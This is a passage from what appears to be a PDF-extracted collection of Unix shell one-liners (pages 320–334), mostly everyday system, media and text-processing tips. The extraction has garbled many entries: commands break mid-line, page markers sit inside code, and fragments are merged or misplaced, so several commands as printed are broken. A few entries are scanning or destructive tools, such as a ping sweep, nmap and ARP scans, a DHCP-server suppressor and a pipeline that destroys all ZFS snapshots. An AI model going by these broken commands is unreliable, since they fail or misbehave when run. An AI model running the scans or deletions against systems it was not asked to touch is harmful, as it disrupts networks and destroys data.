awk '{print $1}' ~/.bash_history | sort | uniq -c | sort -rn | head -n 10
# Update Ogg Vorbis file comments
for f in *.ogg; do vorbiscomment -l "$f" | sed 's/peter gabriel/Peter Gabriel/' |
vorbiscomment -w "$f"; done
# Access partitions inside a LVM volume
kpartx -a /dev/mapper/space-foobar
# split a file by a specific number of lines
csplit -k my_file 500 {*}

# Clean all .pyc files from current project. It cleans all the files recursively.
find . -type f -name "*.pyc" -delete;
# edit hex mode in vim
:%!xxd
# Download all images from a 4chan thread
curl -s $1 | grep -o -i '<a href="//images.4chan.org/[^>]*>' | sed -r 's%.*"//([^"]*)".*
%\1%' | xargs wget
# Mac OS X - List all of my machine's IP addresses
ifconfig | awk '/inet / {print $2}'
# Less a grep result, going directly to the first match in the first file
argv=("$@"); rest=${argv[@]:1}; less -JMN +"/$1" `grep -l $1 $rest`
# Copy files to a remote host with SFTP with a leading dot, then rename them to the real
file name
sftp-cp() { for each in "$@"; do echo "put \"$each\" \".$each\""; echo "rename \".
$each\" \"$each\""; done };
# Update twitter with curl
tweet(){ update=$(echo $*); [ ${#update} -lt 141 ] && curl -su user:pass -d source=curl -d
status="$update" http://twitter.com/statuses/update.xml ->/dev/null || echo $(( ${#update} 140 )) too many characters >&2; }
# Find & watch active IP and MAC addresses in a wireless network in real time. (IPv4 only)
sudo watch arp-scan --interface=wlan0 --localnet

320 / 658

All UNIX COMMANDS


# Fire CMD every time FILE (or directory) is updated (on *BSD)
f="FILE";c="CMD";s="stat -f %m $f";t=`$s`;while [ 1 ];do if [ $t -eq `$s` ];then sleep
1;else echo `$c`;t=`$s`;fi;done
# Show battery infomations for OS X 10.5.x
system_profiler SPPowerDataType | egrep -e "Connected|Charge remaining|Full charge capacity|
Condition" | sed -e 's/^[ \t]*//'
# add an mp3 audio track to a video
mencoder -idx Your_Input_Video_File -ovc lavc -oac mp3lame -audiofile
-o Output_File.avi

Your_Audio_track.mp3

# Turn shell tracing and verbosity (set -xv) on/off with 1 command!
function setx(){ sed '/[xv]/!Q2' <<< $- && { set +xv; export PS4=">>> "; } || { export
PS4="`tput setaf 3`>>> `tput sgr0`"; set -xv; }; }
# List Threads by Pid along with Thread Start Time
ps -o pid,lwp,lstart --pid 797 -L
# set your screensaver as your desktop background MAC OSX
/
System/Library/Frameworks/ScreenSaver.framework/Resources/ScreenSaverEngine.app/Contents/Mac
OS/ScreenSaverEngine -background &
# Mark packages installed with build-dep for autoremove (on Debian/Ubuntu)
sudo aptitude markauto $(apt-cache showsrc PACKAGE | grep Build-Depends | perl -p -e 's/(?:
[\[(].+?[\])]|Build-Depends:|,|\|)//g')
# Find out when your billion-second anniversary is (was).
date -d12/31/1970+1000000000sec
# convert video format to youtube flv format
ffmpeg -i Your_video_file -s 320x240 FILE.flv
# Quick searching with less
zcat file.gz | less +/search_pattern
# Watch RX/TX rate of an interface in kb/s
while cat /proc/net/dev; do sleep 1; done | awk '/eth0/ {o1=n1; o2=n2; n1=$2; n2=$10; printf
"in: %9.2f\t\tout: %9.2f\r", (n1-o1)/1024, (n2-o2)/1024}'
# Check if a machine is online with better UI
echo -n "IP Address or Machine Name: "; read IP; ping -c 1 -q $IP >/dev/null 2>&1 && echo -e
"\e[00;32mOnline\e[00m" || echo -e "\e[00;31mOffline\e[00m"
# awk change field separator
awk '$1=$1' FS=" " OFS=":" file
# Get My Public IP Address
curl -s http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
# Grab mp3 files from your favorite netcasts, mp3blog, or sites that often have good mp3s
wget -r -l1 -H -t1 -nd -N -np -A.mp3 -erobots=off -i ~/sourceurls.txt
# calulate established tcp connection of local machine
netstat -an | grep -Ec '^tcp.+ESTABLISHED$'
# Log colorizer for OSX (ccze alternative)
tail -f /var/log/system.log | colorizer

321 / 658

All UNIX COMMANDS


# Get information on your graphics card on linux (such as graphics memory size)
lspci -v -s `lspci | awk '/VGA/{print $1}'`
# Perl one-liner to determine number of days since the Unix epoch
perl -e 'printf qq{%d\n}, time/86400;'
# Rename a file with a random name
rf() { for i in "$@"; do mv "$i" "$(pwgen 8 1).${i##*.}"; done }
# Commands on svn stat
svn stat | grep M | cut -d " " -f8 | xargs svn revert
# List all available python modules
python -c "help('modules')"
# List of computers not logged into in more than four weeks
dsquery computer -name COMPUTERNAME -inactive 4
# apt-get via sudo
apt-get () { [ "$1" = source ] && (command apt-get "$@";true) || sudo apt-get "$@" }
# Send test prints to networked printer.
echo "test" | lp -d $PRINTER
# View an info page on a nice interface
yelp info:foo
# List all installed Debian packages
dpkg --get-selections | grep -v deinstall | cut -f 1
# get the ascii number with bash builtin printf
printf "%d\n" "'A" "'B"
# move all files older than 60 days to a folder
find ./* -mtime +60 -exec mv {} storeFolder \;
# reset Mageia urpmi media sources to network only
urpmi.removemedia -a && urpmi.addmedia --distrib --mirrorlist
# shutdown pc in 4 hours without needing to keep terminal open / user logged in.
shutdown 60*4 & disown
# Find out when your billion-second anniversary is (was). (on OS X)
date -j -v +1000000000S -f %m%d%Y mmddyyyy
# Display IP adress of the given interface in a most portable and reliable way. That should
works on many platforms.
x=IO::Interface::Simple; perl -e 'use '$x';' &>/dev/null || cpan -i "$x"; perl -e 'use '$x';
my $ip='$x'->new($ARGV[0]); print $ip->address,$/;' <INTERFACE>
# For finding out if something is listening on a port and if so what the daemon is.
sockstat -4l
# To get the CPU temperature continuously on the desktop
while sleep 1; do acpi -t | osd_cat -p bottom; done &
# change microdvd subtitles framerate

322 / 658

All UNIX COMMANDS


cat subtitles.txt | perl -pe 's/} /}/g; s/{(\d+)}/=1=/; $f1=(24/25*$1); s/{(\d+)}/=2=/;
$f2=(24/25*$1); $f1=~s/\..*//; $f2=~s/\..*//; s/=1=/{$f1}/; s/=2=/{$f2}/; ' >
subtitles_newfps.txt
# yum -q list updates | tail -n+2
List upgrade-able packages on Redhat
# Find out when your billion-second anniversary is (was).
date -j -v +1000000000S -f %m%d%Y mmddYYYY
# Get decimal ascii code from character
echo -n a | od -d | sed -n "s/^.* //gp"
# Short Information about loaded kernel modules
lsmod | sed -e '1d' -e 's/\(\([^ ]*\) \)\{1\}.*/\2/' | xargs modinfo | sed -e '/^dep/s/
$/\n/g' -e '/^file/b' -e '/^desc/b' -e '/^dep/b' -e d
# Easily decode unix-time (funtion)
utime(){ date -d "1970-01-01 GMT $1 seconds"; }
# find the biggest file in current folder
ls -S|head -1find

# Safely remove old unused kernels in Ubuntu/Debian


sudo aptitude purge ~ilinux-image-\[0-9\]\(\!`uname -r`\)
# download a list of urls
cat urls.txt | wget -i- -T 10 -t 3 --waitretry 1
# Function to create an alias on the fly
mkalias () { echo "alias $1=\"$2\"" >> ~\.bash_aliases }
# sort a JSON blob
cat foo.json | python -mjson.tool
# Get own public IP address
wget http://ipecho.net/plain -O - -q ; echo
# Watch YouTube and other Flash videos via mplayer (or whatever)
mplayer $(ls -t /tmp/Flash*|head -1)
# txt2html
recode ..HTML < file.txt > file.html
# bash/ksh function: given a file, cd to the directory it lives
function fcd () { [ -f $1 ] && { cd $(dirname $1); } || { cd $1 ;

} pwd }

# Search for a <pattern> string inside all files in the current directory
find . -type f -exec grep -i <pattern> \;
# rotate the compiz cube via command line
wmctrl -o 1280,0
# Create commands to download all of your Google docs
google docs list |awk 'BEGIN { FS = "," }; {print "\""$1"\""}'|sed s/^/google\ docs\ get\ /|
awk ' {print $0,"."}'
# Set OS X X11 to use installed Mathematica fonts

323 / 658

All UNIX COMMANDS


xset fp+ /Applications/Mathematica.app/SystemFiles/Fonts/Type1/
# Real time duplication of Apache app traffic to a second server
nice -n -20 ssh SOURCE_SERVER "tail -f /var/log/httpd/access.log " | awk '{print $7}' |
grep jsp | parallel 'curl TARGET_SERVER{} 2>&1 /dev/null'
# Text to image with transparent background
convert -background none -pointsize 55 label:"`whoami`" me.png
# Print the current time on the whole screen, updated every second
while(true); do printf "%s\f" $(date +%T); sleep 1; done | sm # remove accented chars
iconv -f utf8 -t ascii//TRANSLIT <output-file>
# Print a list of all hardlinks in the working directory, recursively
find . -type f -a \! -links 1
# Throttling Bandwidth On A Mac
sudo ipfw pipe 1 config bw 50KByte/s;sudo ipfw add 1 pipe 1 src-port 80
# Access to specific man page section
man 5 crontab
# Search for a <pattern> string inside all files in the current directory
ack <pattern>
# Testing hard disk writing speed
time dd if=/dev/zero of=TEST bs=4k count=512000
# Easily decode unix-time (funtion)
utime(){ python -c "import time; print(time.strftime('%a %b %d %H:%M:%S %Y',
time.localtime($1)))"; }
# Revert an SVN file to previous revision
svn diff -r M:N file.php | patch -p0
# log rm commands
function rm {
workingdir=$( pwdx $$ | awk '{print $2}' )
/usr/bin/rm $*
echo "rm $* issued at $(date) by the user $(who am i| awk '{print $1} ') in the directory $
{workingdir}" >> /tmp/rm.out }
# Text message on wallpaper
wallpaperWarn() { BG="/desktop/gnome/background/picture_filename"; convert "`gconftool-2 -g
$BG`" -pointsize 70 -draw "gravity center fill red text 0,-360 'Warn' fill white text
0,360 'Warn'" /tmp/w.jpg; gconftool-2 --set $BG -t string "/tmp/w.jpg"; }

# Get MD5 checksum from a pipe stream and do not alter it


cat somefile | tee >(openssl md5 > sum.md5) | bzip2 > somefile.bz2
# Prints the latest modified files in a directory tree recursively
find . -name '*pdf*' -print0 | xargs -0 ls -lt | head -20
# Convert ascii string to hex
echo "text" | hd
# Kill all Zombie processes if they accept it!
kill -9 `ps -xaw -o state -o pid | grep Z | grep -v PID | awk '{print $2}'`

324 / 658

All UNIX COMMANDS


# Find Out My Linux Distribution Name and Version
cat /etc/issue
# Get rid from a blank display without reboot
<Ctrl><Alt><F6> killall5
# Find Mac address
ip li | grep ether | awk '{print $2}'
# Run a script in parrallel over ssh
pssh -h RemoteHosts.txt -P -I < ~/LocalScript.sh
# Quick syntax highlighting with multiple output formats
$ python -m pygments -o source.html source.py
# Clone /
find . -path ./mnt -prune -o -path ./lost+found -prune -o -path ./sys -prune -o -path ./proc
-prune -o -print | cpio -pumd /destination && mkdir /destination/mnt/ && mkdir
/destination/proc && mkdir /destination/sys
# Gets the english pronunciation of a phrase
say() { wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?
tl=en&q=$1"; gnome-terminal -x bash -c "totem output.mp3"; sleep 4; totem --quit;}
# list with full path
ls -d1 $PWD/*
# Automatically skip bad songs in your MPD playlist.
while :; do (mpc current | grep -i nickleback && mpc next); sleep 5; done
# burn backed up xbox 360 games
growisofs -use-the-force-luke=dao -use-the-force-luke=break:1913760 -dvd-compat -speed=2
-Z /dev/cdrom=XBOX360GAMEHERE.iso
# Delete more than one month old thumbnails from home directory
find ~/.thumbnails/ -type f -atime +30 -print0 | xargs -0 rm
# bash function to check for something every 5 seconds
function checkfor () { while :; do $*; sleep 5; done; }
# Get decimal ascii code from character
ord() { printf "%d\n" "'$1"; }
# Normalize volume in your mp3 library
find . -type f -name '*.mp3' -execdir mp3gain -a '{}' +
# watch snapshots commit in VMware ESX
watch 'ls -tough --full-time *.vmdk'
# Show directories in the PATH, one per line
echo -e ${PATH//:/\\n}
# Emergency Alien Invasion Warning
while true; do xset dpms force off; sleep 0.3; xset dpms force on; xset s reset; sleep 0.3;
done
# Execute a command with a timeout
timeout -k 1m 30s some_command

325 / 658

All UNIX COMMANDS


# yes > /dev/null
uses all cpu cycles for one core. good for testing your cpu or just warming yourself up
# tar pipe to copy files, alternate to cp -Ra
(cd /orignl/path tar -cf - . ) | (cd /dst/dir;tar -xvf -)
# Compare copies of a file with md5
diff <(md5sum render_pack.zip| cut -d " " -f 1) <(md5sum /media/green/render_pack.zip| cut
-d " " -f 1);echo $?

# Generate an XKCD #936 style 4 word passphrase (fast)


echo $(grep "^[^'A-Z]\{3,7\}$" /usr/share/dict/words|shuf -n4)
# Cleanup a (source) text file, removing trailing spaces/tabs and multiple consecutive blank
lines
sed -i -e 's/[ \t]*$//;/^$/N;/\n$/D' sourcefiletocleanup
# Force GNU/Linux keyboard settings, layout and configuration
sudo dpkg-reconfigure keyboard-configuration
# Suspend to ram
pmi action suspend
# Doing some floating point calculations with rounding (e.g. at the 3rd decimal)
echo '123/7' |bc -l |xargs printf "%.3f\n"
# Open Vim with two windows
vim -c new myfile
# recursive transform all contents of files to lowercase
find . -type f -print0 | xargs -0 perl -pi.save -e 'tr/A-Z/a-z/'
# Random IPv4 address
perl -e 'printf join(".", ("%d")x4 ), map {rand 256} 1..4;'
# List all Samba user name
pdbedit -w -L | awk -F":" '{print $1}'
# find files in a date range
touch -t 201001010000 begin; touch -t 201012312359.59 end; find . -newer begin -a ! -newer
end
# Copy files from multiple directories into one directory
find <start directory> -iname "<all my files type>" -exec cp {} <target_dir> \;
# Print entire field if string is detected in column
awk '{ if ($column == "string") print}' file.txt
# convert single digit to double digits
zmv '(?.ogg)' '0$1'
# suspend to ram without root
dbus-send --system --print-reply
--dest="org.freedesktop.UPower"
/org/freedesktop/UPower
org.freedesktop.UPower.Suspend
# Generate password
tr -dc 'A-Za-z0-9!@#$%^&*' < /dev/urandom | fold -w 12 | head -n 1

326 / 658

All UNIX COMMANDS


# Ping sweep without NMAP
(prefix="10.59.21" && for i in `seq 254`; do (sleep 0.5 && ping -c1 -w1 $prefix.$i &>
/dev/null && arp -n | awk ' /'$prefix'.'$i' / { print $1 " " $3 } ') & done; wait)
# Show the last 20 sessions logged on the machine
last -n 20
# Watching Command
watch 'cat /proc/loadavg'
# monitor system load
tload -s 10
# Get length of current playlist in xmms2
xmms2 list | sed -n -e '1i\0' -e 's/^.*(\([0-9]*\):\([0-9]*\))$/\1 60*\2++/gp' -e '$a\60op'
| dc | sed -e 's/^ *//' -e 's/ /:/g'
# Add all unversioned files to svn
svn st | awk '{if ($1 ~ "?") print $2}' | xargs svn add
# find file/dir by excluding some unwanted dirs and filesystems
find . -xdev -path ./junk_dir -prune -o -type d -name "dir_name" -a -print
# Automatically connect to a host with ssh once it is online
var=host ;while ! nc -zw 1 $var 22;do sleep 1; done ; ssh user@$var
# Get your current Public IP
curl ifconfig.me
# hibernate
sudo pm-hibernate

# directory size with subdirectories, sorted list


du -m --max-depth=1 [DIR] | sort -nr
# Mount a windows partition in a dual boot linux installation with write permission...[Read
and Write]
mount -o -t ntfs-3g /dev/sda1 /mnt/windows/c force
# Resolve a list of domain names to IP addresses
awk < file.name '{ system("resolveip -s " $1) }'
# Battery real life energy vs predicted remaining plotted
echo start > battery.txt; watch -n 60 'date >> battery.txt ; acpi -b >> battery.txt'
# Encoding from AVI to MPEG format
mencoder input.avi -of mpeg -ovc lavc -lavcopts vcodec=mpeg1video \
other_options -o output.mpg
# Watch the progress of 'dd'
dcfldd if=/dev/zero of=/dev/null
# Find the location of the currently loaded php.ini file
php --ini
# nmap port scanning
nmap -v -sT 192.168.0.0/24

327 / 658

-oac copy

All UNIX COMMANDS


# pdfcount: get number of pages in a PDF file
pdfinfo file.pdf | grep "^Pages: *[0-9]\+$" | sed 's/.* //'
# My PS1
declare -x PS1="[\[\e[01;35m\]\u\[\e[00m\]@\[\e[01;31m\]\h\[\e[00m\]](\j):\
[\e[01;36m\]\w\n\\$ \[\e[00m\]"
# Put uppercase letters in curly brackets in a BibTeX database
sed '/^\s*[^@%]/s=\([A-Z][A-Z]*\)\([^}A-Z]\|},$\)={\1}\2=g' literature.bib > output.bib
# speedtest
wget --output-document=/dev/null http://speedtest.wdc01.softlayer.com/downloads/test500.zip
# Testing reading speed with dd
sync; time `dd if=/dev/cciss/c0d1p1 of=/dev/null bs=1M count=10240`
# Mostly silent FLAC checking (only errors are displayed)
flac -ts *.flac
# Random IPv4 address
perl -le '$,=".";print map int rand 256,1..4'
# Generate RSA private key and self-signed certificate
touch pk.pem && chmod 600 pk.pem && openssl genrsa -out pk.pem 2048 && openssl req -new
-batch -key pk.pem | openssl x509 -req -days 365 -signkey pk.pem -out cert.pem
# Create a false directory structure for testing your commands
for each in /usr/bin/*; do echo $each | sed 's/\/usr\/bin\///' | xargs touch; done
# easy C shell math calculators
alias calc 'echo "scale=4;\!*"|bc -l'; alias xcalc 'echo "\!*"|bc -l'
# Make a statistic about the lines of code
find . -type f -name "*.c" -exec cat {} \; | wc -l
# postgresql SQL to show count of ALL tables (relations) including relation-size
SELECT relname, reltuples, pg_relation_size(relname) FROM pg_class r JOIN pg_namespace n ON
(relnamespace = n.oid) WHERE relkind = 'r' AND n.nspname = 'public' ORDER BY relname;
# Gets the english pronunciation of a phrase
say() { local IFS=+;mplayer "http://translate.google.com/translate_tts?q=$*"; }
# encode image to base64 and copy to clipboard
uuencode -m $1 /dev/stdout | sed '1d' | sed '$d' | tr -d '\n' | xclip -selection clipboard
# Display a random man page
man $(ls /bin | shuf | head -1)
# tar via network
tar cfX - exclude_opt_weblogic . | ssh tmp-esxsb044 "cd /opt/weblogic ; tar xf -"
# Find and copy files from subdirectories to the current directory
find ./ -iname '*avi' -exec cp {} ./ \;

# Read all the S.M.A.R.T. data from a hard disk drive


smartctl --attributes /dev/sda
# run complex remote shell cmds over ssh, without escaping quotes

328 / 658

All UNIX COMMANDS


echo "properly_escaped_command" | ssh user@host $(< /dev/fd/0)
# Find files and calculate size of result in shell
find . -name "pattern" -exec stat -c%s {} \; | awk '{total += $1} END {print total}'
# Show a listing of open mailbox files (or whatever you want to modify it to show)
lsof | grep "/var/spool/mail/"
# rename a file to its md5sum
md5sum * | sed 's/^\(\w*\)\s*\(.*\)/\2 \1/' | while read LINE; do mv $LINE; done
# Copy recursivelly files of specific filetypes
rsync -rvtW --progress --include='*.wmv' --include='*.mpg' --exclude='*.*' <sourcedir>
<destdir>
# finding cr-lf files aka dos files with ^M characters
find . -type f -exec fgrep -l $'\r' "{}" \;
# C function manual
alias man='man -S 2:3:1'
# Extract icons from windows exe/dll
wrestool -x --output . -t14 /path/to/your-file.exe
# Change timestamp on a file
touch -amct [[CC]YY]MMDDhhmm[.ss] FILE
# perl insert character on the first line on your file
perl -i~ -0777pe's/^/\!\#\/usr\/bin\/ksh\n/' testing
# Use tagged vlans
sudo vconfig add eth0 [VID]
# revert a committed change in SVN
svn merge -c -REV
# ignore .DS_Store forever in GIT
echo .DS_Store >> ~/.gitignore
# Create a tar of directory structure only
find . -type d|xargs tar rf ~/dirstructure.tar --no-recursion
# return a titlecased version of the string
title() { string=( $@ ); echo ${string[@]^} }
# Formatted list - WWNs of all LUNs
for i in /sys/block/sd* ; do wwn=`/lib/udev/scsi_id -g -s /block/${i##*/}` ; [ "$wwn" !=
"" ] && echo -e ${i##*/}'\t'$wwn ;done
# count the appearance of a word or a string in a given webpage
wget -q -O- PAGE_URL | grep -o 'WORD_OR_STRING' | wc -w
# badblocks for floppy
/sbin/badblocks -v /dev/fd0 1440
# show last revision log on svn update
svn up | sed 's/\.//g' | cut -d ' ' -f3 | xargs svn log -r
# See multiple progress bars at once for multiple pipes with pv
pv -cN orig < foo.tar.bz2 | bzcat | pv -cN bzcat | gzip -9 | pv -cN gzip > foo.tar.gz

329 / 658

All UNIX COMMANDS


# dhcdrop - testing/suppression/tracking false DHCP servers
sudo dhcdrop -i eth1 -y -l 00:11:22:33:44:55
# Make some powerful pink noise
play -c 2 -n synth pinknoise band -n 2500 4000 tremolo 0.03 5 reverb 20 gain -l
6
# List your MACs address
ip li | grep ff
# List all symbolic links in current directory
find /was61 -type l

# Compress archive(s) or directory(ies) and split the output file


rar a -m5 -v5M -R myarchive.rar /home/
# Limit the rate of traffic to a particular address with tc.
tc qdisc add dev <dev> root handle 1: cbq avpkt 1000 bandwidth 100mbit;tc class add dev
<dev> parent 1: classid 1:1 cbq rate 300kbit allot 1500 prio 5 bounded isolated;tc filter
add dev <dev> parent 1: protocol ip prio 16 u32 match ip dst <ip> flowid 1:1
# How To Get the Apache Document Root
awk '$1~/^DocumentRoot/{print $2}' /etc/apache2/sites-available/default
# Countdown Clock
MIN=10 && for i in $(seq $(($MIN*60)) -1 1); do printf "\r%02d:%02d:%02d" $((i/3600)) $
(( (i/60)%60)) $((i%60)); sleep 1; done
# Set keyboard layout in X
setxkbmap it
# Show seconds since modified of newest modified file in directory
FILE=`ls -ltr /var/lib/pgsql/backups/daily/ | tail -n1 | awk '{print $NF}'`; TIME=`stat -c
%Y /var/lib/pgsql/backups/daily/$FILE`; NOW=`date +%s`; echo $((NOW-TIME))
# List of countries
curl -s http://www.infoplease.com/countries.html | grep "<td"
's#html">#\n#g' | cut -f 1 -d\< | grep -v "^\ \ *$"

| grep ipa

| sed -e

# List all symbolic links in current directory


find /was61 -type l
# Play all the music in a folder, on shuffle
while [[ 1 ]]; do n=( */* ); s=${n[$(($RANDOM%${#n[@]}))]}; echo -e " - $s"; mpg123 -q "$s";
done
# Purge configuration file of all desinstalled package
aptitude purge ~c
# check to see what is running on a specific port number
lsof -iTCP:8080 -sTCP:LISTEN
# Checks all MySQL tables
myisamchk /path/to/mysql/files/*.MYI
# Automagically create a /etc/hosts file based on your DHCP list (only works on Linksys
WRT54G router)

330 / 658

All UNIX COMMANDS


curl -s -u $username:$password http://192.168.1.1/DHCPTable.htm | grep '<td>.* </td>' | sed
's|\t<td>\(.*\) </td>\r|\1|' | tr '\n' ';' | sed 's/\([^;]*\);\([^;]*\);/\2\t\1\n/g'
# sorted list of dhcp allocations
grep ^lease /var/lib/dhcp/dhcpd.leases | cut -d ' ' -f 2 | sort -t . -k 1,1n -k 2,2n -k 3,3n
-k 4,4n | uniq
# Stream and save Youtube video
wget `youtube-dl -g 'http://www.youtube.com/watch?v=-S3O9qi2E2U'` -O - | tee -a parachuteending.flv | mplayer -cache 8192 # Binary clock
for a in $(date +"%H%M"|cut -b1,2,3,4 --output-delimiter=" ");do case "$a" in 0)echo
"....";;1)echo "...*";;2)echo "..*.";;3)echo "..**";;4)echo ".*..";;5)echo ".*.*";;6)echo
".**.";;7)echo ".***";;8)echo "*...";;9)echo "*..*";;esac;done
# Show seconds since modified of newest modified file in directory
ls -atr /home/reports/*.csv -o --time-sty=+%s | tail -1 | awk '{print systime()-$5}'
# Remove old kernels and header data in Ubuntu/Debian
sudo apt-get -y purge $(dpkg --get-selections | awk '((/^linux-/) && (/[0-9]\./) &&
(!/'"`uname -r | sed "s/-generic//g"`"'/)) {print $1}')
# bash regex match
[[ $string =~ regex ]]; : for example; [[ $string =~ --.+ ]]
# Split tsv file by fifth column ... or any column
awk -F'\t' '{print $0 >>$5.tsv}'
# List all symbolic links in current directory
find /was61 -type l
# get current git branch
git rev-parse --symbolic-full-name --abbrev-ref HEAD
# Purge configuration file of all desinstalled package
# aptitude purge ~c
# Chrome sucks
ps -o rss= -C Chrome | (x=0; while read rss; do ((x+=$rss)); done; echo $((x/1024)))
# Know your distro
lsb-release -a

# How many world writeable files on your system? (Mandriva Linux msec)
# wc -l /var/log/security/writable.today
# Transfer Entire recursive from one host to another. Only copies files that are newer or do
not exist
rsync -azE -e "ssh -pPortnumber" src_dir user@hostB:dest_dir
# umount sshfs mounted directory
fusermount -u ~/sshfs_mounted_directory
# Title Case Files
rename 's/(^|[\s\(\)\[\]_-])([a-z])/$1\u$2/g' *
# Key binding to search commandlinefu.com

331 / 658

All UNIX COMMANDS


function ds { echo -n "search : "; read ST; EST=`php -r "echo rawurlencode('$ST');"`;
B64=`echo -n $ST| openssl enc -base64`; curl -s
"http://www.commandlinefu.com/commands/matching/$EST/$B64/plaintext" | less -p "$ST"; } ;
bind '"\C-k"':"\"ds\C-m\""
# Open multiple tabs in Firefox from a file containing urls
for /F %i in (url_list.txt) do Firefox.exe -new-tab "%i"
# Get the IP address
hostname -I
# top with progame name
function ptop(){
`ps -ef | grep $*
" }'` }

| awk 'BEGIN{printf "top "}{printf "-p" $2

"

# Installs lamp on Ubuntu


sudo apt-get install lamp-server^ phpmyadmin
# Get video information with ffmpeg
mp4box -info video.mp4
# Purge configuration file of all desinstalled package
aptitude purge ~c
# vi show line numbers
:set nu
# Dell OMSA version check function
function dellomsaver { snmpwalk -v2c -cmycommunityname $1 1.3.6.1.4.1.674.10892.1.100.2.0; }
# Print all available rxvt resources and their comments
man -Pcat urxvt | \ # see description for full command
# Title Case Files
rename 's/\b([a-z])/\u$1/g' *
# decompiler for jar files using jad
unjar () { mkdir -p /tmp/unjar/$1 ; unzip -d /tmp/unjar/$1 $1 *class 1>/dev/null && find
/tmp/unjar/$1 -name *class -type f | xargs jad -ff -nl -nonlb -o -p -pi99 -space -stat ; rm
-r /tmp/unjar/$1 ; }
# print all paragraphs containing string
cat file1 file2|awk -v RS='paragraph delimiter' '{print $0"\n"}'|sed -e '/./{H;$!d;}' -e
'x;/string to search/!d;'
# print all characters of any file in human readble form using hexdump
hexdump -c <file>
# Find removed files still in use via /proc
ls -l /proc/*/fd/* | grep 'deleted'| grep "\/proc.*\file-name-part"
# Extract all IPs from a file
grep -E '([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})' -o tmp
# Monitoring file change while a copy
watch "ls -al myfile"
# Generate a random text color in bash
echo -e "\e[3$(( $RANDOM * 6 / 32767 + 1 ))mHello World!"

332 / 658

All UNIX COMMANDS


# Install build dependencies for a given package
sudo apt-get build-dep rhythmbox
# Search for string through files
grep -Rl "pattern" files_or_dir
# create SQL-statements from textfile with awk
for each in `cut -d " " -f 1 inputfile.txt`; do echo "select * from table where id
= \"$each\";"; done

# download with checksum


wget -qO - http://www.google.com | tee >(md5sum) > /tmp/index.html
# uncomment the lines where the word DEBUG is found
sed 's/^#\(.*DEBUG\)/\1/' $FILE
# vim read stdin
ls | view # pad file names with zeros so that files sort easily
zeros=3; from=1; to=15; for foo in $(seq $from $to); do echo mv "front${foo}back" "front$
(printf "%0${zeros}d\n" $foo)back"; done
# Find the 10 users that take up the most disk space
sudo -s du -sm /Users/* | sort -nr | head -n 10
# Show and update a log file
tail -F logfile
# move up through directories faster (set in your /etc/profile or .bash_profile)
function up { i=$1; while [ $((i--)) -gt 0 ]; do cd ../ && pwd; done }
# Chrome sucks
ps -A -o rss,command | grep

[C]hrome | awk '{sum+=$1} END {printf("%sMB\n",sum/1024)}'

# Generate an XKCD #936 style 4 word password


shuf -n4 /usr/share/dict/words | tr '\n' ' '
# List all symbolic links in the current directory
ls -l `find . -maxdepth 1 -type l -print`
# Destroy all ZFS snapshots
zfs list -H -o name -t snapshot | xargs -n1 -t zfs destroy
# search the pattern from bzip2'ed
bzgrep -i "pattern" pattern.bz2

file

# Convert man page to PDF


man -Tps ls >> ls_manpage.ps && ps2pdf ls_manpage.ps
# Count repeated lines, listing them in descending order of frequency
LC_ALL=C sort file | uniq -c | sort -n -k1 -r
# Legacy MacOS to Unix text convert using perl
perl -i -pe 's/\r/\n/g' file
# ARP Scan

333 / 658

All UNIX COMMANDS


if [ -x /sbin/arping ] ; then for i in {1..255} ; do echo arping 10.1.1.$i ; arping -c 1
10.1.1.$i | grep reply ;
done ; fi
# Batch resize image to exact given resolution ignoring aspect ratio
mogrify -resize 600x800! *.jpg
# Asynchronous PID Management
sh time.sh 1 20 & var1="$!" & sh time.sh 2 10 & var2="$!" & sh time.sh 3 40 & var3="$!" & sh
time.sh 4 30 & var4="$!" ; wait $var1 && wait $var2 && wait $var3 && wait $var4
# List all files in current dir and subdirs sorted by size
find . -printf "%s %p\n" | sort -n
# To remove all *.swp files underneath the current directory
find . -name \*.swp -type f -delete
# Convert an SVG to png and crush filesize
svg2png(){ png="${1%.*}.png"; inkscape --export-png="$png" --without-gui "$1" && pngcrush
-brute -rem alla -rem text "$png" "$png.new" && mv "$png.new" "$png";}
# For pictures : copy the last hierarchical keyword (tag) in the caption (title,
description) if empty.
exiftool -overwrite_original -preserve -recurse "-iptc:Caption-Abstract<$
{XMP:HierarchicalSubject;s/.+\|//g}" -if "not $iptc:Caption-Abstract" DIR
# checking cpu utilization (what total idle is cpu)
sar 1 3
# Find files and calculate size of result in shell
find . -name "pattern" -type f -exec du -ch {} + | tail -n1
# 16 Character Random Password
< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;

# Merge - Concate MP3 files


sox *.mp3 -t wavpcm - | lame - > bunch.mp3
# Cd Deluxe - improved cd command for *nix and windows
cdd [NAMED_OPTIONS] [FREEFORM_OPTIONS]
# Install an entire folder of .apk files to your android device thru adb
find ~/path/to/apk/files -name '*.apk' -exec adb install {} \;
# Get the date for the last Saturday of a given month
desiredDay=6; year=2012; month=5; n=0; while [ $(date -d "$year-$((month+1))-1 - $n day" "+
%u") -ne $desiredDay ]; do n=$((n+1)); done; date -d "$year-$((month+1))-1 - $n day" "+%x"
# List information about a specific physical volume (eg-hdisk1)
lspv hdisk1
# Radom polygen subject for GnuPG mail (icedove + enigmail)
icedove --compose subject=$(polygen ~/.icedove/xxxxxxx.default/bofh.grm)
# To show which desktop environment I have installed
ls -l /usr/share/xsessions/
# play all mp4 files on home directory
find ~ -name '*.mp4' | xargs mplayer

334 / 658

All UNIX COMMANDS


# Compile a latex doc to generate index
ruby -e " 3.times { system 'pdflatex mydoc.tex' } "
# Download full FLAC albums from archive.org
wget -rc -A.flac --tries=5 http://archive.org/the/url/of/the/album
# Run last history entry based on a given command
![command]
# test connection to a remote IP / port
nc -z <IP> <TCP port> OR
nc -zu <IP> <UDP port>
# Grep across a directory and open matching files in vim (one tab per file)
vim -p `grep -r PATTERN TARGET_DIR | cut -f1 -d: | sort | uniq | xargs echo -n`
# Convert windows text file to linux text document
tr -d "\r" < dos.txt > linux.txt
# Tracklist reaplace backspace to '-'
ls|grep .mp3 >list.txt; while read line; do newname=`echo $line|sed 's/\ /-/g'|sort`;
newname=`echo $newname|tr -s '-' `; echo $newname; echo $newname>> tracklist.txt;mv "$line"
"$newname"; done <list.txt; rm list.txt
# Tracing shell scripts with time stamps
